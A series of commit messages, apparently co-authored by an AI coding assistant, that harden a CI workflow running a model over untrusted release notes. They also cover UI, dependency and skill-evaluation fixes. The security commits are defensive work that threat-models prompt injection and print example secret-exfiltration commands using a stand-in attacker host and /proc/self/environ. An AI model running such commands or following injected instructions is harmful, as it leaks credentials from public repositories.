Four findings. The first ends a pattern rather than patching it again.
1. The tool grants did not enforce the boundary they claimed, for two
reasons. `--allowedTools` only PRE-APPROVES; `--tools` is what
restricts availability — a distinction this repo had already learned
and written down in `scripts/skill-eval.mjs`, and which I failed to
apply here. And a `Bash(...)` rule can match a COMPOUND command
(`gh release view … && curl …`), so the denials could be walked past.
That is the fourth grant in this review whose real surface was wider
than it looked, after `gh api`, `gh issue comment --body-file` and
`npm view --registry`. Each fix scoped the command and left something
else open, so this one removes the capability instead: THE MODEL NOW
HAS NO BASH AT ALL.
Upstream release notes are prefetched by a deterministic `run:` step
into `upstream-release-notes.md` (the 30 most recent releases via
`gh api`), and the prompt points the model at that file and tells it
to say so plainly if the range it needs is absent. Verified against
the real ext-apps releases API. The model's tools are now
`--tools "Read,Grep,Glob"` for availability, the same three in
`--allowedTools` so no headless run stalls on an unanswerable prompt,
and `--disallowedTools` naming Bash and the write/network tools as a
third layer — the same three-part shape `skill-eval.mjs` uses.
2. The security documentation asserted something false. `sweep` inherits
`issues: write` because filing issues is its purpose, so "the ONLY job
holding a token that can write" was never true. Both AGENTS.md and the
workflow comment now state the actual invariant: NO MODEL RUNS IN A
WRITE-CAPABLE JOB. Two of three jobs write; neither runs a model.
The test changed with it, and this is the substantive half: it was
asserting `analyze.permissions === {contents: read}`, which is one
job's slice and would have passed happily if someone added a model
step to `post`. It now iterates EVERY job and, for each that runs
`claude-code-action`, asserts no write scope and no posting step —
falling back to the inherited top-level permissions, so an omitted
`permissions:` block fails rather than defaulting silently.
3. (Suppressed.) The generated checklist told maintainers to edit
`package.json` unconditionally, which is wrong for the one case this
script models separately: `ext-apps` is `^1.7.4`, which already admits
a 1.8.0 target, so only the lockfile moves. `needsManifestEdit` now
selects the checklist items by asking whether each behind row's
declared range admits the target — exact pins need the edit, satisfied
ranges do not, and an unparseable declaration errs toward asking for a
look.
4. (Suppressed.) The `post` job comment carried the same false claim as
finding 2; corrected in the same change.
Mutation-checked, each failing a different set:
needsManifestEdit -> true -> its unit test + the ext-apps body test
--tools line deleted -> the tool-availability test
61 tests in this file; `npm run local:gate` green end to end.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
Four findings. Two are trust-boundary bugs on a public repo; two are the
same class of grant mistake I had already made twice.
1. (Suppressed finding.) `Bash(npm view:*)` was an outbound channel. npm
accepts `--registry=<arbitrary URL>`, and a Bash grant matches a
command PREFIX and constrains nothing after it, so
`npm view x --registry=https://attacker.example/<encoded secret>`
matched the grant. Nothing is published to the issue, so the verbatim
output scan cannot see it at all.
That is the third instance of one mistake in this review — scoping the
command and leaving the flags unbounded — after `Bash(gh api:*)` in
round 1 and `--body-file /proc/self/environ` in round 3. The grant is
removed (the prompt is handed both versions and takes release notes
from `gh release view`), `Bash(npm:*)` joins the deny list, and the
general rule is now in AGENTS.md rather than three war stories: a
prefix grant constrains the command, never its flags.
2. The model's job held `issues: write`. Permissions are scoped per JOB,
not per step, so my round-3 claim that the model only ever saw a
`contents: read` token was false while the posting step shared its
job. Split into three: `sweep`, `analyze` (`contents: read`, runs the
model), `post` (`issues: write`, runs no model).
The hand-off is an ARTIFACT rather than a job output, because matrix
job outputs collide — every leg writes the same key — which would post
one SDK group's write-up onto the other group's issue. A failed
analysis leg uploads nothing, which is not fatal: the download is
`continue-on-error` and the post is gated on the file existing, and
the issue then lands in exactly the un-analyzed state the round-2
retry path picks up.
3. Issue markers were trusted without provenance. This repo is public, so
anyone can open an issue whose body starts with the current target's
marker — and close it — to suppress the real upgrade issue
indefinitely, or use a malformed target to throw in `semver.lt` every
run. `sweepIssues` now requires BOTH the automation author (with the
`[bot]` suffix normalized, since gh and the REST API spell it
differently) and the `chore` + `dependencies` labels an outsider
cannot set. Marker targets are validated with `semver.valid`.
4. Comment markers had the same gap, and my round-3 fix had addressed the
wrong layer: it stopped splitting comments on newlines but still
reduced each to its body, discarding the only field that makes a
marker mean anything. `issueComments` now returns `{author, isBot,
body}`, and both consumers require the automation — so a forged
analysis marker no longer suppresses the retry and a forged
supersession marker no longer suppresses the note. Being a bot is not
enough; it has to be ours.
The test fake mattered more than the assertions here: comment fixtures
were plain strings, so every one was implicitly automation-authored
and no test could have expressed a forgery at all.
Two workflow invariants are now pinned by tests, since both are the kind
of thing a later edit undoes by accident: the `analyze` job's permissions
are exactly `contents: read` with no posting step, and the `--allowedTools`
whitelist mentions none of npm, curl, wget, WebFetch or WebSearch.
Mutation-checked, each failing a different set:
isSweepAuthored -> true -> 3 tests (unit + 2 e2e)
isAutomationComment -> true -> 3 tests (unit + 2 e2e)
semver.valid filter removed -> 1 test
Bash(npm view:*) restored -> 1 test
issues: write re-added to analyze -> 1 test
58 tests in this file; `npm run local:gate` green end to end.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
Four findings, including one suppressed. Three fixed outright; the
fourth is fixed as far as this PR can reach, with the remainder tracked
in #2269 rather than papered over.
1. (Suppressed finding, and the most consequential.) The comment lookup
was `gh api --jq '.[].body'` split on newlines, which destroyed the
comment boundaries — a body is multi-line, so every LINE became its
own entry. Both consumers read a line as though it were a whole
comment and both use `startsWith`, so a maintainer quoting
`<!-- sdk-watch:analysis -->` at the start of any line would have
permanently convinced the sweep that issue was analyzed, and the retry
added in round 2 would never fire for it again. The same held for the
supersession marker.
`issueComments` now fetches `--paginate --slurp` and parses JSON,
mapping whole `body` strings. The test fake was part of the problem —
it returned newline-joined text, which made the broken parse look
correct because it could never produce a multi-line body — so it now
returns the real wire shape, an array of pages of comment objects.
Note the round-2 test written for this class checked INLINE quoting
and passed. The unit was correct; the transport feeding it was not.
2. A CLOSED matching issue was being re-queued for analysis. Two
different questions about the same match had been collapsed into one:
whether it suppresses creation (yes, whatever its state — that is why
`sweepIssues` reads `--state all`) and whether it should be
re-analyzed (only if open). A closed issue has no analysis marker
almost by definition, so it was handed to the analyze job and would
have drawn a fresh automated comment nightly, re-arguing the "not
planned" decision that `--state all` exists to respect. Gated on
`match.state === "OPEN"`, with the closed case logged rather than
passed over in silence.
3. The docs contradicted the code in three places — AGENTS.md, the
workflow header and `formatFiledOutput` all still said analysis runs
only for newly created issues. All three now describe the same rule,
including both exclusions and why they differ: an already-analyzed
issue is excluded to avoid a nightly duplicate, a closed one because
closing it was a decision.
4. The model retains a secret-exfiltration path: `claude-code-action`
copies its environment into the model's, `Read` is genuinely needed to
inspect how `core/` uses the SDK, and `analysis` is model-controlled
text this workflow publishes. Removing the write-capable `gh` tools
closed the posting channel, not the output channel.
Landed here as a BACKSTOP, and labelled as one in the workflow so it
is not read as settled: the posting step refuses any analysis
containing ANTHROPIC_API_KEY or the job's GITHUB_TOKEN verbatim,
matched with shell pattern matching so no secret reaches an argv. An
injection that encodes the value defeats it.
The real fix is workload identity federation
(`anthropic_federation_rule_id` + `id-token: write`, and no
`anthropic_api_key` at all), which needs an Anthropic-side federation
rule and org UUID that do not exist and cannot be created from a pull
request. Filed as #2269 with the exact YAML change and acceptance
criteria, boarded at Todo/Medium in v2.6.0. AGENTS.md and the workflow
both point at it rather than describing this job as secure.
Mutation-checked, each failing exactly one test:
newline splitting restored -> the multi-line-comment test
`state === "OPEN"` guard removed -> the closed-issue test
49 tests in this file; `npm run local:gate` green end to end.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
Three findings, all real. The first is a security hole introduced by
round 1's own fix.
1. The analysis job could have published live secrets. Round 1 pinned
`Bash(gh issue comment <N>:*)` to the tracked issue and treated that
as scoping, but a `Bash(...)` grant matches a command PREFIX and says
nothing about the flags that follow — so
`gh issue comment <N> --body-file /proc/self/environ` matched it, and
this job's subprocess environment holds ANTHROPIC_API_KEY and
GITHUB_TOKEN. A prompt injection from upstream release notes could
have posted live credentials into a public issue.
The model now has no tool that can write anywhere. It returns its
write-up as `--json-schema` structured output, and a deterministic,
model-free step posts it: the body arrives through the environment
rather than the command line, so nothing in it can be read as a flag
or a path, and the issue number comes from the matrix. That step is
the only thing in the job holding a token that can write.
WebFetch is denied as well. It was not raised, but with `Read`
available an outbound fetch the model controls is the same
exfiltration channel by another route; `gh release view` already
covered the need. The remaining grant is read-only and accepts no
attacker-chosen file path.
The general rule is now in AGENTS.md rather than only this instance:
a prefix grant on any command that accepts a file path is an
arbitrary-file read with a publish attached.
2. Issue existence was standing in for analysis completion. A failed or
timed-out `analyze` job left an issue the next sweep matched, emitted
`[]` for, and reported as a green no-op — so the promised analysis was
never retried. The posting step now stamps ANALYSIS_MARKER on its
comment, and a sweep finding an existing issue without one re-queues
it. The marker is matched with `startsWith`, so a maintainer quoting
it cannot suppress the retry.
3. A failed supersession note was unrecoverable. Creation succeeding and
the note failing left a state where every retry matched the target's
own marker and skipped reconciliation entirely, so the note was never
posted. An existing issue is now ADOPTED rather than skipped: the loop
takes its number and runs the same follow-up it would for a new one.
The existing announced-marker check prevents duplication, and a
`stale.number === number` guard stops an issue superseding itself.
Findings 2 and 3 share one restructure — replacing the early `continue`
with adoption is what gives both the retry path.
ANALYSIS_MARKER is necessarily duplicated in the workflow, since the
posting step is shell. Drift would be invisible from either file alone
and would make every issue read as permanently unanalyzed, so a test
asserts the workflow contains the exact constant.
Mutation-checked, each failing a different minimal set:
if (match) continue; restored -> supersession-retry + re-queue tests
hasAnalysis -> always true -> re-queue + hasAnalysis tests
workflow marker misspelled -> the drift-guard test
47 tests in this file; `npm run local:gate` green end to end.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
Three findings, all real, all fixed.
1. The analysis job's tool grant was too broad. `Bash(gh api:*)` against a
token holding `issues: write` would have let an injected instruction
PATCH, close or relabel any issue in the repo — and this agent reads
untrusted upstream release notes by design, so the prose constraints
in the prompt are not a control. `gh api` is gone; the two
mutating-capable commands are pinned to the matrix issue by NUMBER, so
a call against any other issue does not match the prefix and is
denied. `--disallowedTools` now names the file-writing tools and
`git`/`gh pr`/`gh issue edit`/`gh issue close` explicitly, so a later
edit that widens the whitelist cannot silently restore them. The
prompt states the exact command shape the grant permits.
2. Targeting the highest `latest` in a lockstep group was wrong in both
directions. npm publishes a release one package at a time, so a sweep
landing mid-publish would have told maintainers to move all four
packages to a version three of them do not have — and written a
marker for that version, which would then suppress the real filing
once the publication completed, so the release would never be tracked
at all. The target is now the LOWEST `latest` across the group: the
newest version the whole group has actually reached. That stays
actionable during a partial publish (on 2.0.0 it files 2.1.0 rather
than going silent), waits correctly when only the in-flight half is
ahead, and produces a different marker when the publish completes so
the real release gets its own issue. The body explains itself when a
`Latest` in the table sits above the target.
3. A failure after an irreversible issue creation lost the issue. The
sweep exited before emitting `filed`, so the issue never reached the
analysis job — and the next night's retry would match its own marker,
emit `[]`, and leave it permanently unanalyzed with nothing left to
notice. Each group is now isolated, `filed` is appended the moment an
issue exists, and the emit happens in a `finally`. The run still fails
afterwards, loudly, but never at the cost of the record. The analyze
job's gate changed to match: it consumes `filed` whenever the sweep
named something, whether or not the sweep job itself went green.
Fixing 3 exposed a second instance of the bug CI caught earlier: the
test helper passed `output: undefined` to suppress the emit, but a
destructuring default fires on `undefined`, so it selected
`process.env.GITHUB_OUTPUT` instead of overriding it. Once the emit moved
into a `finally`, the throwing cases reached it and leaked a real
`filed=[]` into the runner's job-output file. The helper now passes
`null`, which suppresses a default and is falsy. Verified by running the
suite with `GITHUB_OUTPUT` set and confirming no file is created.
Test fixtures that bumped a single package's `latest` were modeling a
partial publication without meaning to, so `groupAt`/`latestAt` now make
"completed lockstep release" and "publication in flight" separate,
named cases. 42 tests in this file, 580 across `scripts/`, green with
the runner's environment set and unset.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
CI's `build` job went red on one case, `main refuses to run without a
repository`, which passed locally. The cause is ambient environment, not
the code under test: `main`'s `repo` parameter defaults to
`process.env.GITHUB_REPOSITORY`, which is UNSET on a developer machine
and SET on every Actions runner. Passing `undefined` therefore exercised
that default, so the throw happened locally and did not on CI.
`npm run local:gate` is a strict superset of CI's STAGES but not of its
ambient environment, so nothing local could have caught this. The test
now clears the variable around the assertion and restores it, which
makes both environments test the same thing.
The same defaulting applies to `output`, whose default is
`process.env.GITHUB_OUTPUT` — a real file on a runner, the one the job's
own outputs are read from. Every throwing case now pins it to
`undefined` via a `noAmbientOutput` helper. Nothing is written today
because these cases throw before the emit, but leaving the default in
place means a future case that stops throwing would append `filed=…` to
the live job output instead of failing an assertion.
Verified both ways: the suite is green with the variables unset, and
green with GITHUB_REPOSITORY and GITHUB_OUTPUT set as a runner sets them
— 574/574 across all of `scripts/`, with no file created at the
GITHUB_OUTPUT path.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
Staying abreast of SDK releases — OAuth especially — was a habit rather
than a mechanism. This adds the third of this repo's issue-filing sweeps,
after the monthly dependency refresh (#2229) and the daily Dependabot
alert sweep (#2233), following the same shape as both:
npm registry -> sweep -> issue -> Opus analysis comment -> maintainer PR
scripts/sdk-watch.mjs compares the @modelcontextprotocol/* packages
installed on v2/main against the registry and files one tracking issue
per upstream that is behind — labeled v2 + chore + dependencies, and
milestoned to the nearest dated open bucket.
Four design points, each verified against this repo first:
* Two upstreams, two issues. client/core/server/server-legacy ship
from typescript-sdk in lockstep; ext-apps ships from its own repo.
* The comparison is against the INSTALLED version, not the declared
range. ext-apps is `^1.7.4` with 1.7.5 already in the lockfile, so
comparing the declared string would file an issue for a bump
`npm install` has already taken.
* A fifth @modelcontextprotocol/* package added to the root manifest
and not added to SDK_GROUPS fails the sweep loudly, rather than
going unwatched behind a green run.
* No board write and no issue closing. No PROJECT_TOKEN exists in
this org, so the issue arrives labeled and milestoned for
/issue-triage to board — as dependency-refresh.mjs already does. A
further release files its own issue and leaves a supersession
comment on the older one; closing stays a maintainer act.
The analysis half runs Claude, not Copilot. #1063 sketched "a copilot
agent running Opus", and neither half of that is reachable from a
workflow: assigning copilot-swe-agent produces a pull request — the
artifact #2229/#2233/#2235 removed from this repo — and its model cannot
be selected programmatically, since replaceActorsForAssignable takes no
model parameter. So the analyze job uses anthropics/claude-code-action
with --model claude-opus-5, told to post one comment and denied every
file-writing tool, running on the ANTHROPIC_API_KEY org secret. It runs
only over issues the sweep just created, which holds it to one analysis
per release rather than a near-identical comment every night.
Upstream release notes are untrusted input to that job, so its system
prompt says so and its --allowedTools list is a whitelist with no Edit,
Write or git; the job's token carries contents: read only.
36 tests cover the pure halves directly and main() through an injected
spawn, with the silent-failure cases first: a registry error must not
report a clean sweep, and an already-filed target must not refile.
Closes#1063
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
`ReAuthBannerBar` set an unconditional `w: 420`. Because the banner is centered
with `left: 50%` plus a `translate(-50%, -50%)`, a viewport narrower than 420px
made it overflow *both* edges equally — clipping the close button on one side
and "Authorize again" on the other, which are the only two controls it has.
Losing both is a dead end rather than a cosmetic clip, since dismissing is not
equivalent to re-authorizing ("Authorize again" also clears the stale OAuth
state). It is reachable on a narrow desktop window too, not only a phone: the
element is `fixed`-positioned against the viewport.
The width is now capped rather than fixed — `maw={420}` with
`w="calc(100vw - 2rem)"` — so the banner shrinks with a 1rem gutter on each
side and the shadow and radius still read.
The same constant also carried `transform` and `zIndex` as flat CSS in
component-level `styles`. Mantine exposes neither as a style prop, but that
argues for the next tier in the repo's preference order — a theme variant — not
for inline `styles`. Both move to a `reauth` variant in `theme/Paper.ts`,
alongside the existing `code`, `contained` and `panel` variants.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01LYcBw3Sftq5Yx4WpdzXttb
Signed-off-by: cliffhall <cliff@futurescale.com>
Copilot, all three accepted.
1. Connecting still is not the condition. A few integration tests
deliberately hand-roll a JSON-RPC server because the composable
fixture *cannot* produce what they assert on —
`inspectorClient-malformed-list.test.ts` says so in its own header:
"the SDK's own server cannot emit these shapes: they are exactly what
its types forbid". Same for `listSalvage-era.test.ts`. Real
transport, real client, zero `test-servers/` dependency.
Round 4 already stated the right condition at the top — "does this
test depend on a fixture from `test-servers/`" — and then three
downstream sites went on saying "connects". Those are now scoped to
fixture use, and the hand-rolled exception is stated where the
trigger is defined rather than left to be discovered, with both files
named. Connecting is kept as a hint, since it usually does imply a
fixture, with the instruction to check whether one can express the
case first.
2. "description-strength measurement" was the wrong surface, and this
PR is what made it wrong: a chained prompt is deliberately written so
the target's *description* cannot fire on it, so the number measures
the pointer in the first skill's body and nothing else. Left as-is it
would send the next person tuning a red hand-off at the description.
3. "an 0.8 bar" -> "a 0.8 bar".
Re-measured: 100% / 100% hand-off, 63/63 first-move at 100%, RUNS=5.
Staged by explicit path, not `git add -A` — see ec6895a5.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01EQVdemwgUhh45yzeaRSLhW
Signed-off-by: cliffhall <cliff@futurescale.com>
Copilot caught this. `scripts/verify-build-gate.mjs` appends a
`node:fs` import to `clients/web/src/main.tsx`, asserts the
browser-externalized-builtin gate rejects it, then restores the file.
Round 6 was committed with `git add -A` while `local:gate` was mid-run,
so the staged snapshot caught the probe in place and shipped it.
The consequence is exactly what the gate exists to prevent: a Node
built-in in the normal browser graph, which makes the gate fail every
Vite build from here on. CI could not have passed.
`main.tsx` is restored byte-for-byte to its v2/main content; no other
file was affected.
The transferable lesson, and the reason this is its own commit rather
than a squash: **never stage with `git add -A` while the gate is
running.** `verify:build-gate` mutates a tracked source file for the
length of one build, and that window is wide enough to catch.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01EQVdemwgUhh45yzeaRSLhW
Signed-off-by: cliffhall <cliff@futurescale.com>
Copilot, accepted — and the sharpest catch of the six, because it is
the rationale contradicting the operator two paragraphs below it.
Round 1 rewrote the CHAIN_THRESHOLD comment to say a well-shaped
pointer "does clear 0.8" and cited 100%/80% as the evidence. This
threshold is compared with `>`, so 80% would FAIL an 0.8 bar; the
example refuted the sentence it was offered in support of. It was also
stale: 100%/80% was an intermediate build, and the shipped state
measures 100%/100%.
Both copies now cite 100%/100% as the clearing evidence and keep
100%/80% only as the residual-noise figure, saying explicitly that it
is not an example of clearing the bar.
While checking the claim I found the docs copy needed the same care for
a different reason: `passesThreshold` is strict for the chain and
INCLUSIVE for the first move (`rate > t` vs `rate >= t`, skill-eval.mjs
:558), and 0.8 is the constant for the inclusive one. So "0.8 is
compared strictly" is false as literally read. The docs now say a
*chain* bar of 0.8 would be the strict one, name the operator for both,
and spell out the consequence at RUNS=5 — only 5/5 passes, 4/5 does not.
No functional change; CHAIN_THRESHOLD is still 0.5, still strict.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01EQVdemwgUhh45yzeaRSLhW
Signed-off-by: cliffhall <cliff@futurescale.com>
Copilot, accepted. Round 4 split the trigger into two branches and
fixed the closing section, but left the paragraph that ends the opening
section speaking for both — asserting a real transport and a protocol
era for the build-only case that lines 28-31 had just established has
neither.
Scoped explicitly: "In the connecting case …" keeps the transport and
protocol-era guidance, "In the build-only case …" says that guidance
does not apply and names what is actually wanted from `test-servers`
there — how to build the fixture, and why a stale build keeps serving
old code.
Re-measured: 100% / 100% hand-off, 63/63 first-move at 100%, full suite
at RUNS=5.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01EQVdemwgUhh45yzeaRSLhW
Signed-off-by: cliffhall <cliff@futurescale.com>
Copilot, both accepted.
1. "Anything that puts a built fixture on disk" matches every web test,
not the case it was written for: `clients/web`'s `pretest` runs
`test-servers:build` ahead of every unit run, so the fixture is on
disk for the pure parser and storage tests the very next paragraph
excludes. The trigger contradicted its own exclusion list.
Re-keyed to depending on the artefact — the test imports, spawns, or
points a config at it — with the pretest fact stated as its own ⚠️ so
the distinction is legible rather than implied.
2. The closing section still said the fixture-consuming case needs "a
real server over a real transport" and a protocol era, which is
exactly false for the build-only consumer round 3 added. `smoke:tui`
drives no transport, so config choice and protocol era do not apply
to it — only the build and staleness half does.
The condition is now stated once, with two named sub-cases that say
which part of `test-servers` each needs: connecting takes the whole
procedure, naming-the-artefact takes the build half. The closing
section mirrors that split instead of collapsing them.
Re-measured: 100% / 100% hand-off, 63/63 first-move at 100%, full suite
at RUNS=5. Unchanged across all four rounds.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01EQVdemwgUhh45yzeaRSLhW
Signed-off-by: cliffhall <cliff@futurescale.com>
Two factual corrections, both suppressed comments.
- `.claude/skills/local-dev/SKILL.md`: the react/react-dom exception cited
"19.2.8 today, against the root's 19.2.7" — a skew this PR removes. Dropped
the version pair; the point being made is about which install resolves the
pair, and it stands without a number that goes stale on the next bump.
- `verify-dep-lockstep.mjs`: the `devDependencies` bullet claimed all four
surfaced skews were a devDependency somewhere. `react` is a root runtime
dependency whose client copies are peer-installed, so it is three of four —
which is a better illustration of why the union spans fields as well as
installs, and the bullet now says so.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01J86a6vMcA9csPtdsg7ZcCZ
Signed-off-by: cliffhall <cliff@futurescale.com>
Copilot, both nits accepted — the first is a correctness hole, not a nit.
1. `smoke:tui` never asserts a round trip, so round 2 filed it under
"boot-only, needs nothing". It calls
`ensureTestServers({ requires: ["stdio"] })` and hands the built
fixture to the TUI as its catalog's stdio command
(scripts/smoke-tui.mjs:105-124) — which means the staleness hazard,
the single most expensive thing in `test-servers`, lands on it in
full. Connecting was the wrong sole condition.
The trigger is now "does this test **connect to, or build and
consume**, an MCP fixture?", with `smoke:tui` named at all three
decision points and the fixture-consumption case given its own
paragraph in the closing section.
2. The "29 of 74" figure was brittle and I could not reproduce it
against a different pattern: 29 by my grep, 32 by a direct
`@modelcontextprotocol/inspector-test-server` import, 39 by a wider
union. A number whose value is a function of the grep does not belong
in a skill body that nobody re-runs. Dropped; the concrete
counter-examples stay, which is what actually carries the point —
`storage/store-id.test.ts` validates a string and `mcp/import/*`
parses config files, both sitting beside live-connection tests.
Re-measured after broadening the condition: 100% / 100% hand-off,
63/63 first-move at 100%, full suite at RUNS=5. Unchanged across all
three rounds.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01EQVdemwgUhh45yzeaRSLhW
Signed-off-by: cliffhall <cliff@futurescale.com>
Copilot, both findings accepted — and the first is the same defect one
level down from round 1.
1. Round 1 replaced "a smoke" with a transport condition but left "an
integration test" unqualified, and left the tier note treating web
integration as wholly fixture-dependent. It is not: **29 of the 74
files in `src/test/integration/` reference a server at all.**
`storage/store-id.test.ts` validates a string; `mcp/import/*` parses
config files. They sit there for the node env and the 30s timeout —
placement is the project manifest, which is exactly why it cannot
also be the fixture trigger.
All four sites now say "an integration test **that connects**" and
name the counter-examples, including the folder-is-not-the-trigger
point at the `integration` bullet itself, and the tier ⚠️ now states
that the boundary cuts *across* the tiers rather than along them.
2. Replacing the worked example orphaned the warning after it: "the two
runs above straddle a 67-point swing … with no change to the pointer"
had nothing left to refer to, since the 33%/33% and 100%/33% pair it
names was gone and the runs on show differed by 20 points across a
pointer rewrite. The weak-pointer pair is restored as its own
paragraph, the warning names both figures explicitly, and the 20-point
intermediate is now framed as RUNS=5 residual noise — contrasted with
the 67, rather than standing in for it.
Re-measured, since "that connects" narrows the phrasing the two chain
prompts have to match: 100% / 100% hand-off, 63/63 first-move at 100%,
full suite at RUNS=5. Unchanged from round 1.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01EQVdemwgUhh45yzeaRSLhW
Signed-off-by: cliffhall <cliff@futurescale.com>
All four suppressed comments, none with an inline thread to answer.
- `docs/quality-gate.md`: the second-tier explanation was a paragraph
*inside* the script table, which breaks the table — the `local:gate` and
`pack:verify` rows below it would have rendered as pipe-delimited text.
Folded back into the `verify:dep-lockstep` cell.
- `verify-dep-lockstep.mjs`: the module header and `declaredPackages`'
summary line both still named two fields after the implementation grew a
third. Both now name all three, and the header says which field is
excluded and points at the reason.
- `AGENTS.md`: "Nothing keeps the surviving copies aligned, and nothing
gates them" contradicted the sentence added later in the same paragraph.
Split the two claims — nothing aligns them *automatically*, and the guard
now rejects the drift; the bump is still by hand.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01J86a6vMcA9csPtdsg7ZcCZ
Signed-off-by: cliffhall <cliff@futurescale.com>
Copilot, both findings accepted.
1. The trigger was over-broad. "a smoke" and "everything from web
integration rightwards" routed work to `test-servers` that needs no
fixture at all: `smoke:launcher` only checks `--help`, `smoke:web`
asserts the SPA is served, `smoke:web:browser` stops at first paint,
and Storybook play functions render from fixture props. The condition
is now "does this exercise MCP behaviour over a transport?", stated
as such, with both sides named — the smokes that connect
(`smoke:cli`, `smoke:web:app`, `smoke:web:elicit`, `smoke:web:tabs`)
and `pack:verify` on one side, the boot-only ones and Storybook on
the other. Depth in the tier list is explicitly not the boundary.
2. The threshold rationale contradicted the new result. It said an 0.8
bar would mark a hand-off red "regardless of how strongly the first
skill points at the second" — which the 100% measurement refutes.
Both copies (docs and `skill-eval.mjs`) now say what 0.5 actually
buys: a floor on useful reliability for a noisier second-hop load, so
the column still separates an adequate pointer from a broken one. The
value is unchanged.
Re-measured after the narrowing, since a tighter trigger could have
weakened the pointer: 100% / 100% on the hand-off and 63/63 first-move
at 100%, full suite at RUNS=5. Recorded figure updated from the
intermediate 100% / 80%.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01EQVdemwgUhh45yzeaRSLhW
Signed-off-by: cliffhall <cliff@futurescale.com>
- Include `optionalDependencies` in the declared tier's candidate union. A
peer range constrains the consumer's host; an optional range is a direct
declaration npm attempts to install, so omitting it left an optional-only
package free to skew unseen. `peerDependencies` stays excluded, with the
reason stated.
- Make the end-to-end fixture's client copy UNDECLARED — only the root
manifest names `solo`, while `clients/web` merely holds a top-level copy.
That is #2226's defining shape, and it is what makes the candidate set a
union across installs rather than a per-install intersection; the old
fixture would have passed a per-install implementation. Adds the mirror
case (declared only by a client, held by the root) so the union is pinned
in both directions.
- Update the two docs that still described the single-tier guard:
`.claude/skills/local-dev/SKILL.md` said "nothing gates either of those,
and `verify:dep-lockstep` is not it" and cited the live `@types/node`
drift in the present tense; `docs/quality-gate.md` described only the
program tier. Both now state what each tier covers and the two limits
that remain.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01J86a6vMcA9csPtdsg7ZcCZ
Signed-off-by: cliffhall <cliff@futurescale.com>
Copilot review round 1.
- `newAttemptId` calls `globalThis.crypto.getRandomValues(...)` directly
rather than through a bound alias. CodeQL's `js/insecure-randomness`
browser model recognizes a secure RNG by that literal method call, so
the indirection would have left the `Math.random` last resort
classified as an unmitigated source.
- The no-crypto test arm now removes `globalThis.crypto` entirely
instead of hiding its two methods, matching the crypto-absence test in
`src/test/core/auth/utils.test.ts`. Hiding only the methods left the
global truthy, so the arm could not have caught a regression that read
`globalThis.crypto` without the optional guard. `withoutCryptoMember`
narrows to `randomUUID`, its only remaining caller.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uw1s4LRBUzrFwLzPT4mAJn
Signed-off-by: cliffhall <cliff@futurescale.com>
The hand-off measured 33% / 33% at RUNS=3 (#2204's two committed chain
cases). `testing` opened with a one-sentence ⚠️ *classifying* which work
belongs to `test-servers` — a fact, which the model skims — and said it
nowhere else except a bare cross-reference in the last section.
Rewrite it as an action with a trigger ("load the `test-servers` skill
now — that is step one"), enumerate the situations that qualify, and
repeat the pointer at the two later points where the run actually
decides it is writing an integration test: the `integration` project
bullet under "Where the test file goes", and the tier list. The top of a
body is read before the model knows it needs the second skill, so a
pointer that lives only there has already been scrolled past by the time
it matters.
Measured at RUNS=5 on the full suite: the two hand-off cases go to
100% / 80% (100% / 100% on a focused `-- test-servers` run), and all
63 first-move cases stay at 100% — no displacement, as expected, since
neither description changed.
Also update the two places that recorded the old number as the standing
state: the worked example in `docs/skill-authoring.md`, and the
`CHAIN_THRESHOLD` rationale in `scripts/skill-eval.mjs`, which cites the
33% measurement as the reason the bar is 0.5 rather than 0.8. The bar is
unchanged — a reshaped pointer raises the ceiling those two cases reach,
not the floor a new hand-off case should be judged against.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01EQVdemwgUhh45yzeaRSLhW
Signed-off-by: cliffhall <cliff@futurescale.com>
